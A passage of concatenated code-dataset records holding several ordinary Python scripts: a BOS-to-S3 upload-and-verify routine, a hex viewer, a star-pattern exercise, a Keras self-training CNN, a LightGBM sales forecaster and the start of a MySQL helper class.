self._aws_init_connection_token('s3')\n elif self.accessKey is not None:\n s3c = self._aws_init_connection('s3')\n elif self.profile is not None:\n s3c = self._aws_init_profile('s3')\n else:\n s3c = boto3.client('s3', region_name=self.region)\n\n try:\n zip_file_dir = os.path.abspath(zip_file)\n\n with open(zip_file_dir, 'rb') as fd:\n response = s3c.put_object(\n Body=fd,\n Bucket=self.bucket,\n Key=zip_file,\n StorageClass=self.s3_storage_class,\n )\n\n etag_zip_md5 = self._read_zip_md5(zip_file)[1]\n new_etag = response['ETag'].replace('\"', \"\")\n\n if new_etag == etag_zip_md5:\n self.logger.info(f'上传、校验压缩包:{zip_file} 完成,数据完整,ETag:{new_etag} ')\n return self.delete_uploaded_zip_of_path(zip_file)\n else:\n\n self.logger.warning(f\"上传校验压缩包:{zip_file} 发现上传中数据损坏..... 原始 ETag:{etag_zip_md5} \"\n f\"上传后 ETag:{new_etag} \")\n self._upload_check_corrupt_file(s3_client=s3c, zip_dir=zip_file_dir, file=zip_file)\n\n except ClientError as e:\n e.response['Error'].update({'operation_name': e.operation_name})\n self.logger.error('上传压缩包到S3存储桶时,发生错误 {}'.format(e.response['Error']))\n return []\n\n def delete_uploaded_zip_of_path(self, zip_file: str):\n file_dir = pathlib.Path(zip_file).parent\n try:\n shutil.rmtree(file_dir)\n p = pathlib.Path(file_dir).parent\n if not os.listdir(p):\n p.rmdir()\n self.logger.info(f'压缩包:{zip_file} 上传结束,删除对应路径: {file_dir} 下的所有文件 ')\n except OSError as e:\n self.logger.error(f'压缩包上传结束,删除对应路径: {file_dir} 的所有文件: 发生错误:{e.strerror}')\n\n def _upload_check_corrupt_file(self, s3_client, zip_dir: str, file: str):\n try:\n with open(zip_dir, 'rb') as fd:\n response = s3_client.put_object(\n Body=fd,\n Bucket=self.bucket,\n Key=file,\n StorageClass=self.s3_storage_class,\n )\n etag_zip_md5 = self._read_zip_md5(file)[1]\n new_etag = response['ETag'].replace('\"', \"\")\n if new_etag == etag_zip_md5:\n self.logger.warning(f'重新、上传校验压缩包:{file} 完成,数据完整,ETag:{new_etag} ')\n else:\n\n self.logger.critical(f\"重新上传校验压缩包:{file} 发现上传中数据损坏..... \"\n f\"原始 ETag:{etag_zip_md5} \"\n f\"上传后 ETag:{new_etag} \")\n\n return self._choose_corrupt_zip_write_to_csv(str(file))\n\n except ClientError as e:\n e.response['Error'].update({'operation_name': e.operation_name})\n self.logger.error('重新上传压缩包到S3存储桶时,发生错误 {}'.format(e.response['Error']))\n return []\n\n def _choose_corrupt_zip_write_to_csv(self, file: str):\n file_csv = 'second_upload_check_failed_data.csv'\n csv_file_list = self._read_csv_data(str(file_csv))\n with open(file=file_csv, mode='a', encoding='utf8') as f:\n if not csv_file_list:\n csv_write = csv.writer(f)\n csv_write.writerow([file])\n self.logger.warning(f'将二次上��校验后出现误差的数据:{file} 写入csv文件中')\n else:\n if file not in set(csv_file_list):\n csv_write = csv.writer(f)\n csv_write.writerow([file])\n self.logger.warning(f'将二次上传校验后出现误差的数据:{file} 写入csv文件中')\n\n base_path_csv = 'second_upload_check_failed_data_dir_path.csv'\n csv_base_path_list = self._read_csv_data(str(base_path_csv))\n file_dir = str(pathlib.Path(file).parent)\n with open(file=str(base_path_csv), mode='a', encoding='utf8') as f:\n if not csv_base_path_list:\n csv_write = csv.writer(f)\n csv_write.writerow([file_dir])\n self.logger.critical(f'将上传后出现误差数据的路径:{file_dir} 写入csv文件中')\n else:\n if file_dir not in set(csv_base_path_list):\n csv_write = csv.writer(f)\n csv_write.writerow([file_dir])\n self.logger.critical(f'将上传后出现误差数据的路径:{file_dir} 写入csv文件中')\n\n\nif __name__ == '__main__':\n print(\"root_dir: \", BASE_DIR)\n print(\"log_file: \", LOG_FILE)\n print(\"log_file_warning: \", LOG_FILE_ERROR)\n print(\"log_file_danger: \", LOG_Danger)\n\n bos_s3 = DataFromBOSToS3(\n # BOS\n bce_access_key_id='',\n bce_secret_access_key='',\n bos_bucket_name='',\n bce_bos_host='https://bj.bcebos.com',\n # bce_sts_host='http://sts.bj.baidubce.com',\n # bos_storage_class=storage_class.STANDARD,\n\n # s3\n access_key='',\n secret_key='',\n region='', # cn-northwest-1\n bucket='',\n s3_storage_class='', # STANDARD\n )\n bos_s3.main_function()\n","sub_path":"single_node/BceBOSToS3/bos_and_s3_data.py","file_name":"bos_and_s3_data.py","file_ext":"py","file_size_in_byte":31990,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"538278322","text":"#!/usr/local/bin/python3.1\n\n\n\nimport sys\n\ndef usage():\n sys.stderr.write(\"usage: peek.py file.hex\\n\")\n sys.exit(2)\n\nif __name__ == \"__main__\":\n if len(sys.argv) != 2: usage()\n with open(sys.argv[1], 'r') as input:\n for line in input:\n templine = line[0:3] + ' ' + line[3:7] + ' ' + line[7:9] + ' ' \n j = 9\n while j < len(line)-4:\n templine = templine + line[j+2:j+4] + line[j:j+2] + ' '\n j += 4\n print(templine)\n","sub_path":"scripts/peek.py","file_name":"peek.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"1482921","text":"#1\n# import sys\n# n = int(sys.stdin.readline().strip())\n# def star(x,y):\n# while(x>0):\n# if x%3==1 and y%3==1:\n# sys.stdout.write(' ')\n# return None\n# x = x//3\n# y = y//3\n# sys.stdout.write('*')\n# for i in range(n):\n# for j in range(n):\n# star(i,j)\n# sys.stdout.write('\\n')\n#2\nn=int(input())\na = ['*']\nwhile n>1:\n b = []\n for i in a:\n b.append(i*3)\n for i in a:\n b.append(i+' '*len(a)+i)\n for i in a:\n b.append(i*3)\n a = b\n n //= 3\nprint(*a, sep='\\n')\n\n# 2번 방법이 훨씬 빠름","sub_path":"RECURSION/[2447]별찍기 - 10.py","file_name":"[2447]별찍기 - 10.py","file_ext":"py","file_size_in_byte":598,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"512415544","text":"#importing keras\nfrom __future__ import print_function\n#from keras.datasets import cifar10\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, Activation, Flatten\nfrom keras.layers import Convolution2D, MaxPooling2D\nfrom keras.optimizers import SGD\nfrom keras.utils import np_utils\n\nimport csv\nimport sys\nimport pickle\nimport numpy as np\n\na = sys.argv[1]\nb = sys.argv[2]\nprint('input data:',a)\nprint('output model:',b)\n\nclass CNN:\n def __init__(self):\n #data parameter\n self.batch_size = 32\n self.nb_classes = 10\n self.nb_epoch = 250\n self.data_augmentation = True\n #read in data\n self.all_label = np.array(pickle.load( open( a+'all_label.p', \"rb\" )))\n self.X_train = self.all_label.reshape(5000,3,32,32).transpose(0,2,3,1)\n\n self.all_unlabel = np.array(pickle.load( open( a+'all_unlabel.p', \"rb\" )))\n self.X_unlabel = self.all_unlabel.reshape(45000,3,32,32).transpose(0,2,3,1)\n\n #self.test = pickle.load( open( a+'test.p', \"rb\" ))\n #self.test_data = np.array(self.test['data'])\n #self.X_test = self.test_data.reshape(10000,3,32,32).transpose(0,2,3,1)\n\n #init data array\n self.y_train = np.empty((5000,1), dtype = np.int)\n #transfer data array\n for i in range(0,10):\n for j in range(0,500):\n self.y_train[i*500+j] = i\n\n #adjust data \n self.X_train = self.X_train.astype('float32')\n self.X_unlabel = self.X_unlabel.astype('float32')\n #self.X_test = self.X_test.astype('float32')\n self.X_train /= 255\n self.X_unlabel /= 255\n #self.X_test /= 255\n\n print('X_train shape:', self.X_train.shape)\n print('Y_train shape:', self.y_train.shape)\n print('X_unlabel shape:', self.X_unlabel.shape)\n\n # convert class vectors to binary class matrices\n self.Y_train = np_utils.to_categorical(self.y_train, self.nb_classes)\n \n #run functions\n self.constructModel()\n self.fitting()\n self.train_unlabel()\n\n def constructModel(self):\n model = Sequential()\n\n model.add(Convolution2D(32, 3, 3, border_mode='same',\n input_shape=self.X_train.shape[1:]))\n model.add(Activation('relu'))\n model.add(Convolution2D(32, 3, 3))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Convolution2D(64, 3, 3, border_mode='same'))\n model.add(Activation('relu'))\n model.add(Convolution2D(64, 3, 3))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n model.add(Dropout(0.25))\n\n model.add(Flatten())\n model.add(Dense(512))\n model.add(Activation('relu'))\n model.add(Dropout(0.5))\n model.add(Dense(self.nb_classes))\n model.add(Activation('softmax'))\n \n # let's train the model using SGD + momentum (how original).\n #need to change parameter\n #sgd = SGD(lr=10, decay=1e-6, momentum=0.9, nesterov=True)\n model.compile(loss='categorical_crossentropy',\n optimizer='Adam',\n metrics=['accuracy'])\n self.model = model\n\n def fitting(self):\n print('Using real-time data augmentation.')\n\n # this will do preprocessing and realtime data augmentation\n datagen = ImageDataGenerator(\n featurewise_center=False, # set input mean to 0 over the dataset\n samplewise_center=False, # set each sample mean to 0\n featurewise_std_normalization=False, # divide inputs by std of the dataset\n samplewise_std_normalization=False, # divide each input by its std\n zca_whitening=False, # apply ZCA whitening\n rotation_range=0, # randomly rotate images in the range (degrees, 0 to 180)\n width_shift_range=0.1, # randomly shift images horizontally (fraction of total width)\n height_shift_range=0.1, # randomly shift images vertically (fraction of total height)\n horizontal_flip=True, # randomly flip images\n vertical_flip=False) # randomly flip images\n\n # compute quantities required for featurewise normalization\n # (std, mean, and principal components if ZCA whitening is applied)\n datagen.fit(self.X_train)\n\n # fit the model on the batches generated by datagen.flow()\n self.model.fit_generator(datagen.flow(self.X_train, self.Y_train,\n batch_size=self.batch_size),\n samples_per_epoch=self.X_train.shape[0],\n nb_epoch=self.nb_epoch)\n self.model.save(b)\n\n def predict(self,P):\n predict = self.model.predict_proba(P)\n #print('predict[44999]', predict[44999])\n Class = np.argmax(predict, axis=1)\n Conf = np.amax(predict, axis=1)\n return Class,Conf\n\n def add_label(self,classes,confs):\n #add label\n high_id = []\n low_id = []\n for i in range(len(classes)):\n if confs[i] > 0.9:\n high_id.append(i)\n else:\n low_id.append(i)\n if len(high_id) == 0:\n return\n add_image = self.X_unlabel[high_id]\n add_class = classes[high_id]\n add_class = add_class.reshape(add_class.shape[0],1)\n if len(low_id) == 0:\n self.X_unlabel = []\n else:\n self.X_unlabel = self.X_unlabel[low_id]\n self.X_train = np.concatenate((self.X_train, add_image))\n self.y_train = np.concatenate((self.y_train, add_class))\n self.Y_train = np_utils.to_categorical(self.y_train,self.nb_classes)\n\n def train_unlabel(self):\n print('training unlabel')\n count = 0\n while len(self.X_unlabel) != 0:\n if count == 10:\n break\n count += 1\n print('train unlabel :',count)\n self.nb_epoch = 20\n classes, confs = self.predict(self.X_unlabel)\n self.add_label(classes, confs)\n self.fitting()\n self.nb_epoch = 50\n\nif __name__=='__main__':\n cnn = CNN()","sub_path":"hw3/cnn.py","file_name":"cnn.py","file_ext":"py","file_size_in_byte":6303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"154402401","text":"import numpy as np\nimport pandas as pd\nfrom sklearn import metrics\nfrom sklearn.preprocessing import LabelEncoder\nfrom datetime import date, timedelta\nimport datetime\nimport gc\nfrom sklearn.metrics import mean_squared_error\nimport lightgbm as lgb\nfrom bayes_opt import BayesianOptimization\nfrom bayes_opt.observer import JSONLogger\nfrom bayes_opt.event import Events\nfrom bayes_opt.util import load_logs\nimport json\nfrom collections import OrderedDict\nimport warnings\nimport os\nfrom matplotlib import pyplot as plt\nwarnings.filterwarnings(action='ignore')\npd.set_option('display.max_rows', 300)\n\n\na = pd.read_csv('MLB_CP_ITEMSEQ_SALES_DATA.csv')\na = a[['WDATE', '상권구분', 'ITEMSEQ', 'COLOR', 'AMT_ACT']]\na['ITEM'] = a.상권구분 + '+' + a.ITEMSEQ + '+' + a.COLOR\na.drop(['상권구분', 'ITEMSEQ', 'COLOR'], axis=1, inplace=True)\na = a.sort_values(['WDATE', 'ITEM'])\n\nte_start = '2019-06-27'\nte_end = '2019-08-07'\n\nforecast_period = (pd.to_datetime(te_end) - pd.to_datetime(te_start)).days + 1\n\nholdout = a[a['WDATE'] >= te_start]\n\nrev_rank = holdout.groupby('ITEM').apply(sum)['AMT_ACT'].reset_index()\nrev_rank = rev_rank.sort_values('AMT_ACT', ascending=False).reset_index(drop=True)\nrev_rank['rank'] = pd.DataFrame(np.array([\"{0:03}\".format(i) for i in range(1, len(rev_rank) + 1)]).reshape(-1, 1))\nrev_rank['pct'] = round(rev_rank['AMT_ACT'] / sum(rev_rank['AMT_ACT']) * 100, 2)\nrev_rank = rev_rank[rev_rank['pct'] >= 2]\nrev_rank['pct'] = rev_rank['pct'].astype('str')\nrev_rank['list'] = rev_rank['rank'] + '_' + rev_rank['ITEM'] + '(' + rev_rank['pct'] + '%)'\nrev_rank = rev_rank[['ITEM', 'list']]\n\nnum_category = len(rev_rank.list.unique())\n\na = pd.merge(a, rev_rank, how='inner', on='ITEM')\na.drop('ITEM', axis=1, inplace=True)\na.columns = ['WDATE', 'value', 'ITEM']\n\na = a.groupby(['WDATE', 'ITEM']).apply(sum)['value']\na = a.reset_index()\n\na.WDATE = pd.to_datetime(a.WDATE)\n\na = a.sort_values(['WDATE', 'ITEM'])\n\nfor item in np.sort(a.ITEM.unique()):\n plt.figure(figsize=(18, 5))\n plt.plot(a[a.ITEM == item]['WDATE'], a[a.ITEM == item]['value'])\n plt.title(item)\n plt.show()\n\na.value = np.log1p(a.value).fillna(0)\n\nsc = a[a['WDATE'] < te_start]\nsc = sc.pivot('WDATE', 'ITEM', 'value')\nb = a.pivot('WDATE', 'ITEM', 'value')\nc = (b - sc.min()) / (sc.max() - sc.min())\ndf_train = c.T.fillna(0)\n\n\n# df_train = a\n# df_train = df_train.set_index([\"ITEM\", \"WDATE\"])[[\"value\"]].unstack(level=-1).fillna(0)\n# df_train.columns = df_train.columns.get_level_values(1)\n\ndef get_timespan(df, dt, minus, periods, freq='D'):\n return df[pd.date_range(dt - timedelta(days=minus),\n periods=periods, freq=freq)]\n\n\ndef prepare_dataset(df,\n # promo_df,\n t2017, is_train=True, name_prefix=None):\n X = pd.DataFrame(data=np.arange(1, len(rev_rank.list.unique()) + 1), columns=['item'])\n\n for i in [3, 5, 7, 10, 14, 21, 28]:\n tmp = get_timespan(df, t2017, i, i)\n X['diff_%s_mean' % i] = tmp.diff(axis=1).mean(axis=1).values\n X['diff_%s_median' % i] = tmp.diff(axis=1).median(axis=1).values\n X['diff_%s_min' % i] = tmp.diff(axis=1).min(axis=1).values\n X['diff_%s_max' % i] = tmp.diff(axis=1).max(axis=1).values\n X['diff_%s_std' % i] = tmp.diff(axis=1).std(axis=1).values\n X['mean_%s_decay' % i] = (tmp * np.power(0.9, np.arange(i)[::-1])).sum(axis=1).values\n X['mean_%s' % i] = tmp.mean(axis=1).values\n X['median_%s' % i] = tmp.median(axis=1).values\n X['min_%s' % i] = tmp.min(axis=1).values\n X['max_%s' % i] = tmp.max(axis=1).values\n X['std_%s' % i] = tmp.std(axis=1).values\n\n for i in [3, 5, 7, 10, 14, 21, 28]:\n tmp = get_timespan(df, t2017 + timedelta(days=-7), i, i)\n X['diff_%s_mean_2' % i] = tmp.diff(axis=1).mean(axis=1).values\n X['diff_%s_median_2' % i] = tmp.diff(axis=1).median(axis=1).values\n X['diff_%s_min_2' % i] = tmp.diff(axis=1).min(axis=1).values\n X['diff_%s_max_2' % i] = tmp.diff(axis=1).max(axis=1).values\n X['diff_%s_std_2' % i] = tmp.diff(axis=1).std(axis=1).values\n X['mean_%s_decay_2' % i] = (tmp * np.power(0.9, np.arange(i)[::-1])).sum(axis=1).values\n X['mean_%s_2' % i] = tmp.mean(axis=1).values\n X['median_%s_2' % i] = tmp.median(axis=1).values\n X['min_%s_2' % i] = tmp.min(axis=1).values\n X['max_%s_2' % i] = tmp.max(axis=1).values\n X['std_%s_2' % i] = tmp.std(axis=1).values\n\n for i in range(1, 8):\n X['day_%s_lag' % i] = get_timespan(df, t2017, i, 1).values.ravel()\n X['diff_%s_lag' % i] = get_timespan(df, t2017, i + 1, i + 1).diff(axis=1, periods=i).iloc[:, -1].values\n\n for i in range(7):\n X['mean_4_dow{}'.format(i)] = get_timespan(df, t2017, 4 * 7 - i, 4, freq='7D').mean(axis=1).values\n # X['mean_8_dow{}'.format(i)] = get_timespan(df, t2017, 8*7-i, 8, freq='7D').mean(axis=1).values\n # X['mean_12_dow{}'.format(i)] = get_timespan(df, t2017, 12*7-i, 12, freq='7D').mean(axis=1).values\n # X['mean_16_dow{}'.format(i)] = get_timespan(df, t2017, 16*7-i, 16, freq='7D').mean(axis=1).values\n # X['mean_20_dow{}'.format(i)] = get_timespan(df, t2017, 20*7-i, 16, freq='7D').mean(axis=1).values\n\n X['year'] = df[pd.date_range(t2017, periods=1)].columns.year[0]\n X['month'] = df[pd.date_range(t2017, periods=1)].columns.month[0]\n X['day'] = df[pd.date_range(t2017, periods=1)].columns.day[0]\n X['dow'] = df[pd.date_range(t2017, periods=1)].columns.weekday[0]\n X['weekend'] = (X['dow'] > 4).astype(int)\n\n X = pd.DataFrame(X)\n\n if is_train:\n y = df[\n pd.date_range(t2017, periods=1)\n ].values\n return X, y\n\n if name_prefix is not None:\n X.columns = ['%s_%s' % (name_prefix, c) for c in X.columns]\n return X\n\n\n# %%\n\npred_start = date(2019, 6, 27)\nbo_forecast_period = 42\nbo_pred_start = pred_start - timedelta(days=bo_forecast_period)\nval_period = 1\nnum_days = 546\ncat_feat = ['item', 'year', 'month', 'dow', 'day', 'weekend']\ninit_points = 10\nn_iter = 20\n\n\n# %%\n\ndef lgbm_bo(df_train, random_state=37):\n df_train_bo = df_train.copy()\n\n tr_start = bo_pred_start - timedelta(days=num_days + val_period)\n\n X_li, y_li = [], []\n\n for n in range(num_days):\n X_tmp, y_tmp = prepare_dataset(df_train_bo, tr_start + timedelta(days=n))\n X_li.append(X_tmp)\n y_li.append(y_tmp)\n gc.collect()\n\n X_tr_boi = pd.concat(X_li, axis=0)\n y_tr_boi = np.concatenate(y_li, axis=0)\n\n def lgbm_val(learning_rate, max_bin, num_leaves,\n min_data_in_leaf,\n # min_sum_hessian_in_leaf,\n bagging_fraction,\n # bagging_freq,\n feature_fraction,\n lambda_l1, lambda_l2):\n\n params = {\n 'boost_from_average': True,\n 'boosting': 'gbdt',\n 'Decay': 'linear',\n 'n_estimators': 5000,\n 'early_stopping_rounds': 200,\n 'objective': 'regression_l2',\n 'metric': 'l2',\n 'num_threads': 16,\n 'bagging_freq': 1,\n # 'max_depth':-1\n }\n\n # params['min_sum_hessian_in_leaf']= min_sum_hessian_in_leaf\n params['min_data_in_leaf'] = int(round(min_data_in_leaf))\n params['feature_fraction'] = max(min(feature_fraction, 1), 0)\n params['bagging_fraction'] = max(min(bagging_fraction, 1), 0)\n # params['bagging_freq']= int(round(bagging_freq)) #k means perform bagging at every k iteration\n params['lambda_l1'] = lambda_l1\n params['lambda_l2'] = lambda_l2\n params['learning_rate'] = learning_rate\n params['max_bin'] = int(round(max_bin, ))\n params['num_leaves'] = int(round(num_leaves))\n\n df_train_bo = df_train.copy()\n y_test_bo_rmse = []\n test_pred_bo = []\n X_l = X_li.copy()\n y_l = y_li.copy()\n X_tr_bo = X_tr_boi.copy()\n y_tr_bo = y_tr_boi.copy()\n\n for i in range(bo_forecast_period):\n X_v, y_v = [], []\n for m in range(val_period):\n X_tmp, y_tmp = prepare_dataset(df_train_bo, tr_start + timedelta(days=num_days + m + i))\n X_v.append(X_tmp)\n y_v.append(y_tmp)\n gc.collect()\n X_val_bo = pd.concat(X_v, axis=0)\n y_val_bo = np.concatenate(y_v, axis=0)\n\n X_test_bo, y_test_bo = prepare_dataset(df_train, bo_pred_start + timedelta(days=i))\n\n y_test_bo_rmse.append(y_test_bo)\n\n dtrain_bo = lgb.Dataset(X_tr_bo, label=y_tr_bo.reshape(-1, ), categorical_feature=cat_feat)\n dval_bo = lgb.Dataset(X_val_bo, label=y_val_bo.reshape(-1, ), categorical_feature=cat_feat,\n reference=dtrain_bo)\n bst = lgb.train(params, dtrain_bo, valid_sets=[dtrain_bo, dval_bo], verbose_eval=False)\n test_pred_bo.append(bst.predict(X_test_bo, num_iteration=bst.best_iteration))\n\n if i < (bo_forecast_period - 1):\n df_train_bo[df_train_bo.columns[-(forecast_period + bo_forecast_period - i)]] = bst.predict(X_test_bo,\n num_iteration=bst.best_iteration)\n X_tmp, y_tmp = prepare_dataset(df_train_bo, tr_start + timedelta(days=(i + num_days)))\n X_l.append(X_tmp)\n y_l.append(y_tmp)\n X_tr_bo = pd.concat(X_l, axis=0)\n y_tr_bo = np.concatenate(y_l, axis=0)\n gc.collect()\n\n return -((np.array(y_test_bo_rmse).reshape(bo_forecast_period, num_category) - np.array(\n test_pred_bo)) ** 2).sum()\n\n pds = {\n # 'min_sum_hessian_in_leaf':(0,1),\n 'min_data_in_leaf': (15, 150),\n 'feature_fraction': (0.1, 1),\n 'bagging_fraction': [0.1, 1],\n # 'bagging_freq': [0,0.1],\n 'lambda_l1': (0.001, 0.1),\n 'lambda_l2': (0.001, 0.1),\n 'learning_rate': (0.001, 0.1),\n 'max_bin': (500, 700),\n 'num_leaves': (10, 100)\n }\n\n optimizer = BayesianOptimization(lgbm_val, pds, random_state=random_state)\n # load_logs(optimizer,logs=['01log.json'])\n logger = JSONLogger('01log.json')\n optimizer.subscribe(Events.OPTMIZATION_STEP, logger)\n optimizer.maximize(init_points=init_points, n_iter=n_iter)\n return optimizer.max['params']\n\n\nbest_params = lgbm_bo(df_train)\n\n# %%\n\nbest_params['num_leaves'] = int(round(best_params['num_leaves']))\nbest_params['max_bin'] = int(round(best_params['max_bin']))\nbest_params['min_data_in_leaf'] = int(round(best_params['min_data_in_leaf']))\n# best_params['bagging_freq'] = int(round(best_params['bagging_freq']))\n\n# %%\n\nlogdata = [json.loads(line) for line in open('01log.json', 'r')]\n\n# %%\n\ntarget = []\nparam_log = pd.DataFrame(columns=list(logdata[0]['params'].keys()))\nfor iter_num in range(0, init_points + n_iter):\n param_log.loc[iter_num + 1] = list(logdata[iter_num]['params'].values())\n target.append(-logdata[iter_num]['target'])\nparam_log['target'] = target\nparam_log.sort_values('target', axis=0, ascending=True)\n\n# %%\n\nbest_params = {**{\n 'boost_from_average': True,\n 'boosting': 'gbdt',\n 'Decay': 'linear',\n 'n_estimators': 5000,\n 'early_stopping_rounds': 200,\n 'objective': 'regression_l2',\n 'metric': 'l2',\n 'num_threads': 16,\n # 'max_depth': None,\n 'bagging_freq': 1}, **best_params}\n\n# %%\n\n\ntest_pred = []\nfeat_imp = []\ntr_start = pred_start - timedelta(days=num_days + val_period)\n\nX_l, y_l = [], []\n\nfor n in range(num_days):\n X_tmp, y_tmp = prepare_dataset(df_train, tr_start + timedelta(days=n))\n X_l.append(X_tmp)\n y_l.append(y_tmp)\n gc.collect()\n\nX_train = pd.concat(X_l, axis=0)\ny_train = np.concatenate(y_l, axis=0)\n\nfor i in range(forecast_period):\n # print(\"=\" * 50)\n # print(\"Step %d\" % (i+1))\n # print(\"=\" * 50)\n\n X_v, y_v = [], []\n\n for m in range(val_period):\n X_tmp, y_tmp = prepare_dataset(df_train, tr_start + timedelta(days=m + i + num_days))\n X_v.append(X_tmp)\n y_v.append(y_tmp)\n gc.collect()\n\n X_val = pd.concat(X_v, axis=0)\n y_val = np.concatenate(y_v, axis=0)\n\n X_test = prepare_dataset(df_train, pred_start + timedelta(days=i), is_train=False)\n\n dtrain = lgb.Dataset(X_train, label=y_train.reshape(-1, ), categorical_feature=cat_feat)\n\n dval = lgb.Dataset(X_val, label=y_val.reshape(-1, ), categorical_feature=cat_feat, reference=dtrain)\n\n bst = lgb.train(best_params, dtrain, valid_sets=[dtrain, dval], verbose_eval=False)\n\n # print(\"\\n\".join((\"%s: %.2f\" % x) for x in sorted(\n # zip(X_train.columns, bst.feature_importance(\"gain\")),\n # key=lambda x: x[1], reverse=True\n # )))\n feat_imp.append(bst.feature_importance(\"gain\"))\n test_pred.append(bst.predict(X_test, num_iteration=bst.best_iteration))\n\n if i < (forecast_period - 1):\n df_train[df_train.columns[-(forecast_period - i)]] = bst.predict(X_test, num_iteration=bst.best_iteration)\n X_tmp, y_tmp = prepare_dataset(df_train, tr_start + timedelta(days=(i + num_days)))\n X_l.append(X_tmp)\n y_l.append(y_tmp)\n X_train = pd.concat(X_l, axis=0)\n y_train = np.concatenate(y_l, axis=0)\n gc.collect()\n\n# %%\n\nlgb.create_tree_digraph(bst, show_info=['split_gain', 'internal_value', 'leaf_count', 'internal_count'])\n\n# %%\n\n# feat_eval = np.array(feat_imp).transpose()\n# df_feat_eval = pd.DataFrame(feat_eval, index = X_train.columns)\n# df_feat = df_feat_eval.copy()\n# df_feat['evg']=df_feat_eval.mean(axis=1)\n# df_feat['max']=df_feat_eval.max(axis=1)\n# df_feat['#0'] = (df_feat_eval==0).sum(axis=1).values\n# # df_feat['!0'] = (df_feat_eval>0).sum(axis=1).values\n\n# df_feat[['evg','max','#0']].sort_values(['evg','#0'])\n# #df_feat.loc[X_train.columns.str.contains(pat='')][['evg','#0']]\n\n\n# %%\n\ny_val = np.array(test_pred).transpose()\ndf_preds = pd.DataFrame(\n y_val, index=df_train.index,\n columns=pd.date_range(te_start, periods=forecast_period)\n).stack().to_frame(\"value\")\ndf_preds.index.set_names([\"ITEM\", \"WDATE\"], inplace=True)\n# df_preds[\"value\"] = np.expm1(df_preds[\"value\"])\n# df_preds.reset_index().to_csv('lgb_0826.csv', index=False)\n\n# %%\n\ndf_preds = df_preds.reset_index()\n\n# %%\n\ndf_preds = df_preds.pivot('WDATE', 'ITEM', 'value') * (sc.max() - sc.min()) + sc.min()\ndf_preds = np.expm1(df_preds)\n\n# %%\n\na = a[a.WDATE >= te_start]\n\n# %%\n\na.value = np.expm1(a.value)\n\n# %%\n\npolo = a.pivot(index='ITEM', columns='WDATE', values='value').fillna(0)\n\n# %%\n\n# polo.T\n\n# %%\n\n# df_preds\n\n# %%\n\ncroco = pd.DataFrame(columns=polo.columns[34:], index=df_preds.columns)\n\n# %%\n\nrmse = []\nfor item in df_preds.columns:\n # rmse.append(mean_squared_error(a[a.ITEM==item]['value'],df_preds[df_preds.ITEM==item]['value'])**0.5)\n rmse.append(mean_squared_error(polo.loc[item], df_preds[item]) ** 0.5)\n\n# %%\n\nfor item in df_preds.columns:\n residual = (np.array(df_preds[item]) - np.array(polo.loc[item])).tolist()\n # residual = residual.to_list()\n cat = []\n for i in np.arange(35, len(residual) + 1):\n cat.append(sum(residual[i - 35:i]))\n croco.loc[item] = cat\n\n# %%\n\n\ncroco['avg_35sum'] = croco.sum(axis=1) / len(croco.columns)\ncroco['max_35'] = croco.max(axis=1)\ncroco['min_35'] = croco.min(axis=1)\n# croco['avg_35rev'] = a.groupby('ITEM').apply(sum)['value']*35/forecast_period\ncroco['avg_35rev'] = polo.sum(axis=1) * 35 / forecast_period\n\ncroco['avg_rate'] = croco['avg_35sum'] / croco['avg_35rev']\ncroco['max_rate'] = croco['max_35'] / croco['avg_35rev']\ncroco['min_rate'] = croco['min_35'] / croco['avg_35rev']\ncroco['RMSE'] = rmse\n\n# %%\n\ncroco.drop(croco.columns[1:8].values, axis=1)\n\n# %%\n\nfor item in df_preds.columns:\n plt.figure(figsize=(18, 5))\n plt.plot(polo.columns, df_preds[item], label='prediction')\n # plt.plot(a[a.ITEM==item]['WDATE'],a[a.ITEM==item]['value'], label='actual')\n plt.plot(polo.columns, polo.loc[item], label='actual')\n plt.legend(loc='upper left')\n# plt.xticks(a[a.ITEM==item]['WDATE'].values[np.arange(0,forecast_period,7)].tolist(),rotation=60)\n\n\n# %%\n","sub_path":"log+minmax.py","file_name":"log+minmax.py","file_ext":"py","file_size_in_byte":16185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"252197682","text":"import itertools\nimport os\nimport re\nfrom typing import List, Optional\n\nimport pymysql\n\n\nclass RdsHandler:\n PLACEHOLDER = \"%s\"\n RDS_CONNECT_TIMEOUT = 10\n MAX_COUNT_PLACEHOLDERS = 65535\n\n def connect(self):\n self.credentials = {\n \"host\": os.getenv(\"RDS_HOST\"),\n \"database\": os.getenv(\"RDS_DATABASE\"),\n \"user\": os.getenv(\"RDS_USER\"),\n \"password\": os.getenv(\"RDS_PASSWORD\"),\n \"port\": int(os.getenv(\"RDS_PORT\")),\n \"connect_timeout\": self.RDS_CONNECT_TIMEOUT,\n }\n return pymysql.connect(**self.credentials)\n\n @staticmethod\n def escape(name: str):\n return f\"`{name}`\"\n\n @staticmethod\n def flatten(values: tuple):\n return tuple(\n itertools.chain(\n *(value if isinstance(value, list) else (value,) for value in values)\n )\n )\n\n def format(self, query: str, values: tuple = None):\n placeholder_indexes = [\n occurence.start(0) for occurence in re.finditer(\"\\?\", query)\n ]\n if len(placeholder_indexes) > 0 and values is not None:\n offset = 0\n for placeholder_index, value in zip(placeholder_indexes, values):\n if isinstance(value, list):\n placeholder = f\"({', '.join([self.PLACEHOLDER for _ in value])})\"\n query = (\n query[: placeholder_index + offset]\n + placeholder\n + query[placeholder_index + offset + 1 :]\n )\n offset = offset + len(placeholder) - 1\n\n return query.replace(\"?\", self.PLACEHOLDER)\n\n def run(self, query: str, values: tuple = None):\n driver = self.connect()\n cursor = driver.cursor()\n\n if values is not None:\n cursor.execute(self.format(query, values=values), self.flatten(values))\n else:\n cursor.execute(query)\n\n driver.commit()\n cursor.close()\n driver.close()\n\n def run_batch(self, queries: List[str], values: List[tuple] = None):\n driver = 